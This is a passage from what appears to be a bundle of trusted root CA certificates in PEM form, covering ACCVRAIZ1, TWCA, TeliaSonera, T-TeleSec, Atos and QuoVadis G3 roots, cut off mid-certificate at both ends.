c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC
w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia
xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7
A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S
GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV
g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa
5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE
koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A
Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i
Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV
HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u
Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV
sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je
dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8
1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx
mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01
utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0
sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg
UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV
7+ZtsH8tZ/3zbBt1RqPlShfppNcL
-----END CERTIFICATE-----

ACCVRAIZ1
=========
-----BEGIN CERTIFICATE-----
MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB
SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1
MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH
UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM
jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0
RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD
aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ
0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG
WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7
8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR
5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J
9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK
Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw
Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu
Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM
Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA
QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh
AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA
YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj
AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA
IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk
aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0
dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2
MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI
hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E
R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN
YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49
nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ
TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3
sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg
Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd
3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p
EfbRD0tVNEYqi4Y7
-----END CERTIFICATE-----

TWCA Global Root CA
===================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT
CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD
QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK
EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg
Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C
nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV
r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR
Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV
tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W
KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99
sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p
yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn
kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI
zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g
cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M
8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg
/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg
lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP
A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m
i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8
EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3
zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0=
-----END CERTIFICATE-----

TeliaSonera Root CA v1
======================
-----BEGIN CERTIFICATE-----
MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE
CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4
MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW
VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+
6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA
3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k
B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn
Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH
oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3
F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ
oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7
gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc
TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB
AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW
DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm
zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx
0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW
pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV
G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc
c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT
JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2
qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6
Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems
WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY=
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 2
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx
MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ
SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F
vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970
2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV
WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy
YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4
r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf
vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR
3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg==
-----END CERTIFICATE-----

Atos TrustedRoot 2011
=====================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU
cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4
MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG
A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr
54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+
DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320
HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR
z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R
l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ
bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB
CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h
k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh
TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9
61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G
3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
-----END CERTIFICATE-----

QuoVadis Root CA 1 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE
PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm
PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6
Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN
ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l
g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV
7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX
9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f
iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg
t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI
hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC
MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3
GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct
Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP
+V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh
3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa
wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6
O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0
FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV
hMJKzRwuJIczYOXD
-----END CERTIFICATE-----

QuoVadis Root CA 2 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh
ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY
NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t
oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o
MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l
V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo
L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ
sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD
6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh
lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI
hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66
AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K
pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9
x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz
dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X
U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw
mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD
zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN
JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr
O3jtZsSOeWmD3n+M
-----END CERTIFICATE-----

QuoVadis Root CA 3 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286
IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL
Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe
6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3
I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U
VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7
5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi
Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM
dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt
rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
